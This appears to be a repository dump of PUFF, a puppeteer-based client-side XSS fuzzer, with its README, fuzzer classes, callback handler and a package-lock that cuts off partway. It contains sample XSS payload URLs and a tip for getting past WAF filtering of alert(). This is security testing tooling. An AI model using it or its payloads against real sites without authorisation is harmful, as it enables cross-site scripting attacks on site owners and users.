├── .gitignore ├── README.md ├── callbacks.js ├── config.json ├── configwiz.js ├── fuzzers ├── SinglePayloadFuzzer.js ├── SingleUrlFuzzer.js └── StdinFuzzer.js ├── io.js ├── package-lock.json ├── package.json ├── preload.js ├── pretty.js ├── puff.js ├── terminator.js ├── threading.js └── wordlist-examples ├── events.txt ├── tags.txt └── xss.txt /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/* 2 | wordlist/* 3 | bin/* 4 | build/* 5 | *.tgz 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | ![npm package size](https://img.shields.io/bundlephobia/min/puff-fuzz) 3 | ![npm puppeteer package](https://img.shields.io/npm/v/puff-fuzz.svg) 4 | [![Average time to resolve an issue](http://isitmaintained.com/badge/resolution/flameofignis/puff.svg)](http://isitmaintained.com/project/flameofignis/puff "Average time to resolve an issue") 5 | [![Percentage of issues still open](http://isitmaintained.com/badge/open/flameofignis/puff.svg)](http://isitmaintained.com/project/flameofignis/puff "Percentage of issues still open") 6 | ![Release - Downloads](https://img.shields.io/github/downloads/flameofignis/puff/total?label=release%20downloads) 7 | ![npm](https://img.shields.io/npm/dm/puff-fuzz?label=npm%20downloads) 8 | 9 | 10 | # PUFF 11 | Simple clientside vulnerability fuzzer, powered by puppeteer. 12 | 13 | ** I will eventually rewrite this project. It works well, but it's not very clean and from my amateur years.** 14 | 15 | ![](https://s11.gifyu.com/images/SchPf.gif) 16 | 17 | ## How does it work? 18 | This tool uses puppeteer to open a headless browser, and then injects payloads into the page, and checks if the payload was executed. This ensures there are no false alarms as it will only report a URL if the function was already called, providing a proof-of-concept. 19 | 20 | ## Requirements 21 | - npm 22 | 23 | ## INSTALL 24 | 25 | ``` 26 | git clone https://github.com/FlameOfIgnis/puff 27 | cd puff 28 | npm install 29 | ``` 30 | 31 | **OR** 32 | 33 | If you dont have chromium: 34 | ``` 35 | npm install -g puff-fuzz 36 | ``` 37 | 38 | **If you have chromium: (Don't forget to set path via puff -c "path/to/chromium/" 39 | 40 | windows: 41 | ``` 42 | set PUPPETEER_SKIP_DOWNLOAD=true 43 | npm install -g puff-fuzz 44 | ``` 45 | 46 | linux: 47 | ``` 48 | export PUPPETEER_SKIP_DOWNLOAD=true 49 | npm install -g puff-fuzz 50 | ``` 51 | 52 | 53 | **Testing** 54 | ``` 55 | Windows: 56 | node puff.js -w .\wordlist-examples\xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" 57 | 58 | Linux: 59 | node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" 60 | ``` 61 | 62 | # Help String 63 | 64 | ``` 65 | Usage: puff [options] 66 | 67 | Options: 68 | -w, --wordlist wordlist to use 69 | -u, --url url to fuzz 70 | -t, --threads threads to run (default: 5) 71 | -v, --verbose verbosity 72 | -o, --output output filename 73 | -d, --demo Demo mode, hides url's in output, and clears terminal when run (to hide url in cli) 74 | -s, --status Show requests with unusual response codes 75 | -oA, --outputAll Output all the responses 76 | -k, --ignoreSSL Ignore ssl errors 77 | -c, --chromePath Set chromium path permenantly 78 | -h, --help display help for command 79 | ``` 80 | 81 | 82 | # Alert is filtered by WAF? 83 | Don't worry, just modify your wordlist to use `puff()` instead of `alert()` in your payload. 84 | 85 | # Sample runs 86 | 87 | 88 | 89 | **Running from source:** 90 | ``` 91 | node puff.js -w xss.txt -u "http://your.url?message=FUZZ" 92 | 93 | node puff.js -w xss.txt -u "http://your.url?message=FUZZ" -t 25 94 | 95 | node puff.js -w xss.txt -u "http://your.url?message=FUZZ" -d 96 | ``` 97 | 98 | **installed via npm:** 99 | ``` 100 | puff -w xss.txt -u "http://your.url?message=FUZZ" 101 | 102 | puff -w xss.txt -u "http://your.url?message=FUZZ" -t 25 103 | 104 | puff -w xss.txt -u "http://your.url?message=FUZZ" -d 105 | ``` 106 | 107 | 108 | 109 | **Running with stdin fuzzing mode:** 110 | ``` 111 | cat urls.txt | node puff.js -w .\wordlist-examples\events.txt 112 | 113 | 114 | cat urls.txt | puff -w .\wordlist-examples\events.txt 115 | ``` 116 | Where urls.txt is 117 | ``` 118 | http://example.com?query=FUZZ 119 | https://another.com/page/#FUZZ 120 | ``` 121 | 122 | 123 | **Running with stdin single payload mode:** 124 | ``` 125 | cat urls.txt | node puff.js 126 | 127 | 128 | cat urls.txt | puff 129 | ``` 130 | 131 | Where urls.txt is 132 | ``` 133 | http://example.com?query= 134 | http://example.com?query=javascript:alert() 135 | https://another.com/page/# 136 | ``` 137 | 138 | 139 | -------------------------------------------------------------------------------- /callbacks.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | const {fail,succ,warn,info,gstart,bstart,ystart,rstart,colstop} = require('./pretty.js') 4 | 5 | 6 | class TriggerHandler{ 7 | /* 8 | * This class contains and handles events triggered by the document. 9 | * catchRedirect, catchRedirectJS, catchXSS, catchLoadFailure, catchNormal 10 | * 11 | */ 12 | constructor(oHandler){ 13 | this.outputHandler = oHandler 14 | } 15 | 16 | catchRedirect(thread, chain){ 17 | this.outputHandler.write(`${ystart}[${thread.status}] [REDIRECT-HTTP] ${thread.url}${thread.pld}`) 18 | for(var i=0;i ${chain[i].response().url()}`) 20 | } 21 | this.outputHandler.write(colstop) 22 | this.outputHandler.bLastOutputImportant=true 23 | 24 | } 25 | 26 | //not implemented yet, lost when refactoring from electron to puppeteer 27 | catchRedirectJS(thread, target){ 28 | return 29 | if(thread.wasHTTPRedirect){ 30 | thread.wasHTTPRedirect=false; 31 | return 32 | } 33 | initCallback('redirect-js') 34 | this.outputHandler.write(`${bstart}[200] [REDIRECT-JS] ${thread.url}${thread.pld}`) 35 | this.outputHandler.write(` |--> ${target}`) 36 | this.outputHandler.write(colstop) 37 | 38 | } 39 | 40 | 41 | catchXSS(thread, href){ 42 | this.outputHandler.write(`${rstart}[${thread.id}][${200}] [XSS] ${href} ${colstop}`) 43 | this.outputHandler.bLastOutputImportant=true 44 | pendingOutput.push({ 45 | url:href, 46 | payload:thread.pld 47 | }) 48 | 49 | //xss windows tend to get load looped, but not sure if needed 50 | thread.evaluate(() => window.stop()); 51 | } 52 | 53 | catchLoadFailure(thread){ 54 | this.outputHandler.write(`${bstart}[${thread.id}][${thread.status}] [FAILURE] ${thread.url} ${colstop}`, 5000) 55 | this.outputHandler.bLastOutputImportant=true 56 | } 57 | 58 | catchNormal(thread){ 59 | 60 | if(thread.justRedirected){ 61 | thread.justRedirected=false 62 | return 63 | } 64 | this.outputHandler.write(`${gstart}[${thread.id}][${thread.status}] ${colstop} ${thread.url}`) 65 | if(thread.status==200){ 66 | this.outputHandler.bLastOutputImportant=false 67 | }else{ 68 | if(status)this.outputHandler.bLastOutputImportant=true 69 | else this.outputHandler.bLastOutputImportant=false 70 | } 71 | return 72 | } 73 | } 74 | 75 | 76 | module.exports ={ 77 | TriggerHandler: TriggerHandler 78 | } 79 | -------------------------------------------------------------------------------- /config.json: -------------------------------------------------------------------------------- 1 | {"chromium_path":"default"} -------------------------------------------------------------------------------- /configwiz.js: -------------------------------------------------------------------------------- 1 | 2 | const path = require('path') 3 | const fs = require('fs') 4 | const glob = require('glob') 5 | module.exports={ 6 | 7 | setChromePath: function(new_path){ 8 | /* 9 | * Set the chrome path in the config.json file 10 | */ 11 | var conf_temp = require(path.join(__dirname,'/config.json')) 12 | console.log("Chrome path changing from '" + conf_temp.chromium_path + "' to '" + new_path + "'") 13 | conf_temp.chromium_path = new_path 14 | fs.writeFileSync(path.join(__dirname,'/config.json'), JSON.stringify(conf_temp), 'utf8'); 15 | }, 16 | 17 | resolveChromiumPath: function(config){ 18 | /* 19 | * Resolve wildcards in the chromium path. 20 | * Also resolves keyword 'default' 21 | * For now, default maps to '/node_modules/puppeteer/.local-chromium/*\/*\/chrome(.exe?)' 22 | * If default keyword is used, resolved path will be written to the config file after calling. 23 | */ 24 | var chromium_path = ''; 25 | if(!config.chromium_path) config.chromium_path='default'; 26 | else if(config.chromium_path.includes('*')) chromium_path = glob.sync(config.chromium_path, {})[0]; 27 | else chromium_path = config.chromium_path; 28 | 29 | if(chromium_path=='default'){//resolve default path 30 | if(process.platform=='win32') chromium_path = glob.sync(path.join(__dirname, "/node_modules/puppeteer/.local-chromium/*/*/chrome.exe"))[0] 31 | else chromium_path = glob.sync(path.join(__dirname, "/node_modules/puppeteer/.local-chromium/*/*/chrome"))[0] 32 | config.chromium_path=chromium_path 33 | fs.writeFileSync(path.join(__dirname,'/config.json'), JSON.stringify(config), 'utf8'); //NEEDS FIX // CAUSING TROUBLE FOR OSX 34 | } 35 | return chromium_path; 36 | } 37 | 38 | } 39 | -------------------------------------------------------------------------------- /fuzzers/SinglePayloadFuzzer.js: -------------------------------------------------------------------------------- 1 | 2 | const {fail,succ,warn,info,gstart,bstart,ystart,rstart,colstop} = require('../pretty.js') 3 | const fs = require('fs') 4 | function replaceKeyword(url,pld){ 5 | pld = pld.replace(/ /g, '%20') 6 | var t=url; 7 | t = t.replace(/FUZZ/g,pld.replace(/\n|\r/g,'')) 8 | return t; 9 | 10 | } 11 | 12 | 13 | class SinglePayloadFuzzer{ 14 | /* 15 | * Fuzzer for when both wordlist and url parameter is supplied. 16 | * Read url from the parameter, and read 17 | * 18 | */ 19 | constructor(url,cbhandler, threadHandler, terminator, wordlist, verbose, multi=false){ 20 | this.url = url 21 | this.wlistFpointer=0; 22 | this.cbHandler=cbhandler 23 | this.terminator = terminator 24 | this.verbose = verbose 25 | this.threadHandler = threadHandler; 26 | this.wordlist = wordlist; 27 | this.multi = multi; 28 | 29 | } 30 | 31 | 32 | async loadNextUrl(thread){ 33 | /* 34 | * Load next url from from the wordlist 35 | */ 36 | thread.url = this.url 37 | thread.pld = '' 38 | await this.processURL(thread,thread.url) 39 | thread.close() 40 | } 41 | 42 | 43 | async processURL(thread, url){ 44 | /* 45 | * Process url, visit, try to trigger events etc. 46 | */ 47 | try{ 48 | thread.goto(thread.url) 49 | 50 | //capture window response 51 | const response = await thread.waitForNavigation(); 52 | 53 | //acquire possible redirect chain 54 | var chain = (response.request().redirectChain()) 55 | 56 | //get http response 57 | thread.status = response.status(); 58 | 59 | //if there was a redirect chain, output it. If not, its a normal response 60 | if(chain.length){ 61 | thread.wasHTTPRedirect = true; 62 | this.cbHandler.catchRedirect(thread, chain) 63 | }else{ 64 | this.cbHandler.catchNormal(thread) 65 | } 66 | }catch(e){ 67 | //Not properly implemented yet, dom-errors, http timeouts 68 | this.cbHandler.catchLoadFailure(thread) 69 | } 70 | } 71 | } 72 | 73 | module.exports = { 74 | SinglePayloadFuzzer:SinglePayloadFuzzer 75 | } -------------------------------------------------------------------------------- /fuzzers/SingleUrlFuzzer.js: -------------------------------------------------------------------------------- 1 | 2 | const {fail,succ,warn,info,gstart,bstart,ystart,rstart,colstop} = require('../pretty.js') 3 | const fs = require('fs') 4 | function replaceKeyword(url,pld){ 5 | pld = pld.replace(/ /g, '%20') 6 | var t=url; 7 | t = t.replace(/FUZZ/g,pld.replace(/\n|\r/g,'')) 8 | return t; 9 | 10 | } 11 | 12 | 13 | class SingleUrlFuzzer{ 14 | /* 15 | * Fuzzer for when both wordlist and url parameter is supplied. 16 | * Read url from the parameter, and read 17 | * 18 | */ 19 | constructor(url,cbhandler, threadHandler, terminator, wordlist, verbose, multi=false){ 20 | this.url = url 21 | this.wlistFpointer=0; 22 | this.cbHandler=cbhandler 23 | this.terminator = terminator 24 | this.verbose = verbose 25 | this.threadHandler = threadHandler; 26 | this.wordlist = wordlist; 27 | this.multi = multi; 28 | 29 | //read wordlist 30 | if(this.verbose) console.log(`${warn} Reading Wordlist`) 31 | try{ 32 | this.wlistContent = fs.readFileSync(wordlist).toString().split("\n") 33 | }catch(e){ 34 | console.log(`${fail} Wordlist file was not found`) 35 | console.log(e) 36 | process.exit(1) 37 | } 38 | if(this.verbose) console.log(`${succ} Wordlist loaded, ${this.wlistContent.length} lines.`) 39 | 40 | } 41 | 42 | async acquire(){ 43 | /* 44 | * Acquire next url from wordlist 45 | */ 46 | 47 | this.wlistFpointer+=1 48 | if(this.wlistFpointer{ 100 | gotoFailed=true; 101 | }) 102 | 103 | if(gotoFailed) throw new Error(); 104 | //capture window response 105 | let timeout = false; 106 | const response = await thread.waitForNavigation().catch(err=>{ 107 | timeout = true; 108 | }) 109 | 110 | if(timeout) throw new Error(); 111 | //acquire possible redirect chain 112 | var chain = (response.request().redirectChain()) 113 | 114 | //get http response 115 | thread.status = response.status(); 116 | 117 | //if there was a redirect chain, output it. If not, its a normal response 118 | if(chain.length){ 119 | thread.wasHTTPRedirect = true; 120 | this.cbHandler.catchRedirect(thread, chain) 121 | }else{ 122 | this.cbHandler.catchNormal(thread) 123 | } 124 | }catch(e){ 125 | //Not properly implemented yet, dom-errors, http timeouts 126 | this.cbHandler.catchLoadFailure(thread) 127 | } 128 | 129 | //recurses 130 | this.loadNextUrl(thread) 131 | } 132 | } 133 | 134 | module.exports = { 135 | SingleUrlFuzzer:SingleUrlFuzzer 136 | } -------------------------------------------------------------------------------- /fuzzers/StdinFuzzer.js: -------------------------------------------------------------------------------- 1 | 2 | const {fail,succ,warn,info,gstart,bstart,ystart,rstart,colstop} = require('../pretty.js') 3 | 4 | function replaceKeyword(url,pld){ 5 | pld = pld.replace(/ /g, '%20') 6 | var t=url; 7 | t = t.replace(/FUZZ/g,pld.replace(/\n|\r/g,'')) 8 | return t; 9 | 10 | } 11 | 12 | 13 | class SingleUrlFuzzer{ 14 | /* 15 | * Fuzzer for when both wordlist and url parameter is supplied. 16 | * Read url from the parameter, and read 17 | * 18 | */ 19 | constructor(url,cbhandler, threadHandler, terminator, wordlist, verbose, multi=false){ 20 | this.url = url 21 | this.wlistFpointer=0; 22 | this.cbHandler=cbhandler 23 | this.terminator = terminator 24 | this.verbose = verbose 25 | this.threadHandler = threadHandler; 26 | this.wordlist = wordlist; 27 | this.multi = multi; 28 | 29 | //read wordlist 30 | if(this.verbose) console.log(`${warn} Reading Wordlist`) 31 | try{ 32 | this.wlistContent = fs.readFileSync(wordlist).toString().split("\n") 33 | }catch(e){ 34 | console.log(`${fail} Wordlist file was not found`) 35 | console.log(e) 36 | process.exit(1) 37 | } 38 | if(this.verbose) console.log(`${succ} Wordlist loaded, ${this.wlistContent.length} lines.`) 39 | 40 | } 41 | 42 | async acquire(){ 43 | /* 44 | * Acquire next url from stdin 45 | */ 46 | 47 | var line = this.wlistContent[this.wlistFpointer]; 48 | this.wlistFpointer+=1 49 | return line 50 | } 51 | 52 | checkFinished(){ 53 | /* 54 | * Check if wordlist finished 55 | */ 56 | 57 | //if this thread is done 58 | if(this.wlistFpointer>=this.wlistContent.length){ 59 | this.terminator.terminatedCount+=1 60 | this.wlistFpointer+=1 61 | if(this.verbose){ 62 | outputHandler.deleteLastLine() 63 | } 64 | this.threadHandler.workerCount-=1; 65 | //Only terminate program if all the threads have finished, so it doesn't lose the progress on those pending requests. 66 | if(this.threadHandler.workerCount==0){ 67 | //TODO, timeout possible idle/stuck threads and terminate 68 | if(this.verbose){ 69 | outputHandler.deleteLastLine() 70 | outputHandler.write('Last url checked, waiting for all threads to finish') 71 | } 72 | 73 | if(this.multi){ 74 | console.log('') 75 | }else{ 76 | this.terminator.terminate() 77 | } 78 | } 79 | return true; 80 | } 81 | return false; 82 | } 83 | 84 | async loadNextUrl(thread){ 85 | /* 86 | * Load next url from from the wordlist 87 | */ 88 | if(this.checkFinished()){ 89 | try{ 90 | await thread.close() 91 | }catch(e){}; 92 | return; 93 | } 94 | var line = await this.acquire() 95 | thread.url = await replaceKeyword(this.url, line) 96 | thread.pld = line 97 | this.processURL(thread,thread.url) 98 | } 99 | 100 | 101 | async processURL(thread, url){ 102 | /* 103 | * Process url, visit, try to trigger events etc. 104 | */ 105 | try{ 106 | thread.goto(thread.url) 107 | 108 | //capture window response 109 | const response = await thread.waitForNavigation(); 110 | 111 | //acquire possible redirect chain 112 | var chain = (response.request().redirectChain()) 113 | 114 | //get http response 115 | thread.status = response.status(); 116 | 117 | //if there was a redirect chain, output it. If not, its a normal response 118 | if(chain.length){ 119 | thread.wasHTTPRedirect = true; 120 | this.cbHandler.catchRedirect(thread, chain) 121 | }else{ 122 | this.cbHandler.catchNormal(thread) 123 | } 124 | }catch(e){ 125 | //Not properly implemented yet, dom-errors, http timeouts 126 | this.cbHandler.catchLoadFailure(thread) 127 | } 128 | 129 | //recurses 130 | this.loadNextUrl(thread) 131 | } 132 | } 133 | 134 | module.exports = { 135 | SingleUrlFuzzer:SingleUrlFuzzer 136 | } -------------------------------------------------------------------------------- /io.js: -------------------------------------------------------------------------------- 1 | //responsible for writing request output 2 | 3 | 4 | 5 | 6 | class ResponseWriter{ 7 | /* 8 | * This class is responsible for outputting the http request responses to the terminal. 9 | * 10 | */ 11 | constructor(demo,oa){ 12 | this.bLastOutputImportant=true; 13 | this.demo = demo; 14 | this.oa=oa; 15 | } 16 | 17 | write(message, clamp=process.stdout.columns-2){ 18 | /* 19 | * write the message, delete last line if it was marked not important. 20 | * Clamp to the length of second parameter if passed. 21 | */ 22 | 23 | //if message is longer than the clamp length, clamp it and append ... 24 | if(message.length >=clamp) 25 | message = (message.substring(0, clamp - 3) + "...") 26 | 27 | //if demo mode is activated, hide base url 28 | if(this.demo){ 29 | message = message.replace(/http(s)?:\/\/.*?\//, "https://[REDACTED]/") 30 | } 31 | 32 | //output all mode, write every response, even normal ones 33 | if(this.oa){ 34 | process.stdout.write("\n" + message) 35 | }else{ 36 | //if last output wasn't registered as important, delete the last line 37 | if(!this.bLastOutputImportant){ 38 | this.deleteLastLine(true) 39 | process.stdout.write(message) 40 | }else{ 41 | process.stdout.write("\n" + message) 42 | } 43 | } 44 | } 45 | 46 | deleteLastLine(force=false){ 47 | if(!force && this.bLastOutputImportant) return 48 | process.stdout.write("\r\x1b[K") 49 | } 50 | } 51 | 52 | module.exports ={ 53 | OutputHandler: ResponseWriter 54 | } -------------------------------------------------------------------------------- /package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "puff-fuzz", 3 | "version": "0.1.1", 4 | "lockfileVersion": 2, 5 | "requires": true, 6 | "packages": { 7 | "": { 8 | "name": "puff-fuzz", 9 | "version": "0.1.1", 10 | "license": "ISC", 11 | "dependencies": { 12 | "commander": "^5.1.0", 13 | "puppeteer": "^3.0.4" 14 | }, 15 | "bin": { 16 | "puff": "puff.js" 17 | } 18 | }, 19 | "node_modules/@types/node": { 20 | "version": "14.0.1", 21 | "resolved": "https://registry.npmjs.org/@types/node/-/node-14.0.1.tgz", 22 | "integrity": "sha512-FAYBGwC+W6F9+huFIDtn43cpy7+SzG+atzRiTfdp3inUKL2hXnd4rG8hylJLIh4+hqrQy1P17kvJByE/z825hA==", 23 | "optional": true 24 | }, 25 | "node_modules/@types/yauzl": { 26 | "version": "2.9.1", 27 | "resolved": "https://registry.npmjs.org/@types/yauzl/-/yauzl-2.9.1.tgz", 28 | "integrity": "sha512-A1b8SU4D10uoPjwb0lnHmmu8wZhR9d+9o2PKBQT2jU5YPTKsxac6M2qGAdY7VcL+dHHhARVUDmeg0rOrcd9EjA==", 29 | "optional": true, 30 | "dependencies": { 31 | "@types/node": "*" 32 | } 33 | }, 34 | "node_modules/agent-base": { 35 | "version": "5.1.1", 36 | "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-5.1.1.tgz", 37 | "integrity": "sha512-TMeqbNl2fMW0nMjTEPOwe3J/PRFP4vqeoNuQMG0HlMrtm5QxKqdvAkZ1pRBQ/ulIyDD5Yq0nJ7YbdD8ey0TO3g==", 38 | "engines": { 39 | "node": ">= 6.0.0" 40 | } 41 | }, 42 | "node_modules/balanced-match": { 43 | "version": "1.0.0", 44 | "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", 45 | "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=" 46 | }, 47 | "node_modules/base64-js": { 48 | "version": "1.3.1", 49 | "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.3.1.tgz", 50 | "integrity": "sha512-mLQ4i2QO1ytvGWFWmcngKO//JXAQueZvwEKtjgQFM4jIK0kU+ytMfplL8j+n5mspOfjHwoAg+9yhb7BwAHm36g==" 51 | }, 52 | "node_modules/bl": { 53 | "version": "4.0.2", 54 | "resolved": "https://registry.npmjs.org/bl/-/bl-4.0.2.tgz", 55 | "integrity": "sha512-j4OH8f6Qg2bGuWfRiltT2HYGx0e1QcBTrK9KAHNMwMZdQnDZFk0ZSYIpADjYCB3U12nicC5tVJwSIhwOWjb4RQ==", 56 | "dependencies": { 57 | "buffer": "^5.5.0", 58 | "inherits": "^2.0.4", 59 | "readable-stream": "^3.4.0" 60 | } 61 | }, 62 | "node_modules/brace-expansion": { 63 | "version": "1.1.11", 64 | "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", 65 | "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", 66 | "dependencies": { 67 | "balanced-match": "^1.0.0", 68 | "concat-map": "0.0.1" 69 | } 70 | }, 71 | "node_modules/buffer": { 72 | "version": "5.6.0", 73 | "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.6.0.tgz", 74 | "integrity": "sha512-/gDYp/UtU0eA1ys8bOs9J6a+E/KWIY+DZ+Q2WESNUA0jFRsJOc0SNUO6xJ5SGA1xueg3NL65W6s+NY5l9cunuw==", 75 | "dependencies": { 76 | "base64-js": "^1.0.2", 77 | "ieee754": "^1.1.4" 78 | } 79 | }, 80 | "node_modules/buffer-crc32": { 81 | "version": "0.2.13", 82 | "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", 83 | "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=", 84 | "engines": { 85 | "node": "*" 86 | } 87 | }, 88 | "node_modules/chownr": { 89 | "version": "1.1.4", 90 | "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", 91 | "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==" 92 | }, 93 | "node_modules/commander": { 94 | "version": "5.1.0", 95 | "resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz", 96 | "integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==", 97 | "engines": { 98 | "node": ">= 6" 99 | } 100 | }, 101 | "node_modules/concat-map": { 102 | "version": "0.0.1", 103 | "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", 104 | "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=" 105 | }, 106 | "node_modules/debug": { 107 | "version": "4.1.1", 108 | "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", 109 | "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", 110 | "deprecated": "Debug versions >=3.2.0 <3.2.7 || >=4 <4.3.1 have a low-severity ReDos regression when used in a Node.js environment. It is recommended you upgrade to 3.2.7 or 4.3.1. (https://github.com/visionmedia/debug/issues/797)", 111 | "dependencies": { 112 | "ms": "^2.1.1" 113 | } 114 | }, 115 | "node_modules/end-of-stream": { 116 | "version": "1.4.4", 117 | "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", 118 | "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", 119 | "dependencies": { 120 | "once": "^1.4.0" 121 | } 122 | }, 123 | "node_modules/extract-zip": { 124 | "version": "2.0.0", 125 | "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-2.0.0.tgz", 126 | "integrity": "sha512-i42GQ498yibjdvIhivUsRslx608whtGoFIhF26Z7O4MYncBxp8CwalOs1lnHy21A9sIohWO2+uiE4SRtC9JXDg==", 127 | "dependencies": { 128 | "debug": "^4.1.1", 129 | "get-stream": "^5.1.0", 130 | "yauzl": "^2.10.0" 131 | }, 132 | "bin": { 133 | "extract-zip": "cli.js" 134 | }, 135 | "engines": { 136 | "node": ">= 10.12.0" 137 | }, 138 | "optionalDependencies": { 139 | "@types/yauzl": "^2.9.1" 140 | } 141 | }, 142 | "node_modules/fd-slicer": { 143 | "version": "1.1.0", 144 | "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", 145 | "integrity": "sha1-JcfInLH5B3+IkbvmHY85Dq4lbx4=", 146 | "dependencies": { 147 | "pend": "~1.2.0" 148 | } 149 | }, 150 | "node_modules/fs-constants": { 151 | "version": "1.0.0", 152 | "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", 153 | "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==" 154 | }, 155 | "node_modules/fs.realpath": { 156 | "version": "1.0.0", 157 | "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", 158 | "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=" 159 | }, 160 | "node_modules/get-stream": { 161 | "version": "5.1.0", 162 | "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.1.0.tgz", 163 | "integrity": "sha512-EXr1FOzrzTfGeL0gQdeFEvOMm2mzMOglyiOXSTpPC+iAjAKftbr3jpCMWynogwYnM+eSj9sHGc6wjIcDvYiygw==", 164 | "dependencies": { 165 | "pump": "^3.0.0" 166 | }, 167 | "engines": { 168 | "node": ">=8" 169 | } 170 | }, 171 | "node_modules/glob": { 172 | "version": "7.1.6", 173 | "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", 174 | "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", 175 | "dependencies": { 176 | "fs.realpath": "^1.0.0", 177 | "inflight": "^1.0.4", 178 | "inherits": "2", 179 | "minimatch": "^3.0.4", 180 | "once": "^1.3.0", 181 | "path-is-absolute": "^1.0.0" 182 | }, 183 | "engines": { 184 | "node": "*" 185 | }, 186 | "funding": { 187 | "url": "https://github.com/sponsors/isaacs" 188 | } 189 | }, 190 | "node_modules/https-proxy-agent": { 191 | "version": "4.0.0", 192 | "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-4.0.0.tgz", 193 | "integrity": "sha512-zoDhWrkR3of1l9QAL8/scJZyLu8j/gBkcwcaQOZh7Gyh/+uJQzGVETdgT30akuwkpL8HTRfssqI3BZuV18teDg==", 194 | "dependencies": { 195 | "agent-base": "5", 196 | "debug": "4" 197 | }, 198 | "engines": { 199 | "node": ">= 6.0.0" 200 | } 201 | }, 202 | "node_modules/ieee754": { 203 | "version": "1.1.13", 204 | "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.1.13.tgz", 205 | "integrity": "sha512-4vf7I2LYV/HaWerSo3XmlMkp5eZ83i+/CDluXi/IGTs/O1sejBNhTtnxzmRZfvOUqj7lZjqHkeTvpgSFDlWZTg==" 206 | }, 207 | "node_modules/inflight": { 208 | "version": "1.0.6", 209 | "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", 210 | "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", 211 | "dependencies": { 212 | "once": "^1.3.0", 213 | "wrappy": "1" 214 | } 215 | }, 216 | "node_modules/inherits": { 217 | "version": "2.0.4", 218 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", 219 | "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" 220 | }, 221 | "node_modules/mime": { 222 | "version": "2.4.5", 223 | "resolved": "https://registry.npmjs.org/mime/-/mime-2.4.5.tgz", 224 | "integrity": "sha512-3hQhEUF027BuxZjQA3s7rIv/7VCQPa27hN9u9g87sEkWaKwQPuXOkVKtOeiyUrnWqTDiOs8Ed2rwg733mB0R5w==", 225 | "bin": { 226 | "mime": "cli.js" 227 | }, 228 | "engines": { 229 | "node": ">=4.0.0" 230 | } 231 | }, 232 | "node_modules/minimatch": { 233 | "version": "3.0.4", 234 | "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", 235 | "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", 236 | "dependencies": { 237 | "brace-expansion": "^1.1.7" 238 | }, 239 | "engines": { 240 | "node": "*" 241 | } 242 | }, 243 | "node_modules/mkdirp-classic": { 244 | "version": "0.5.3", 245 | "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", 246 | "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==" 247 | }, 248 | "node_modules/ms": { 249 | "version": "2.1.2", 250 | "resolved": 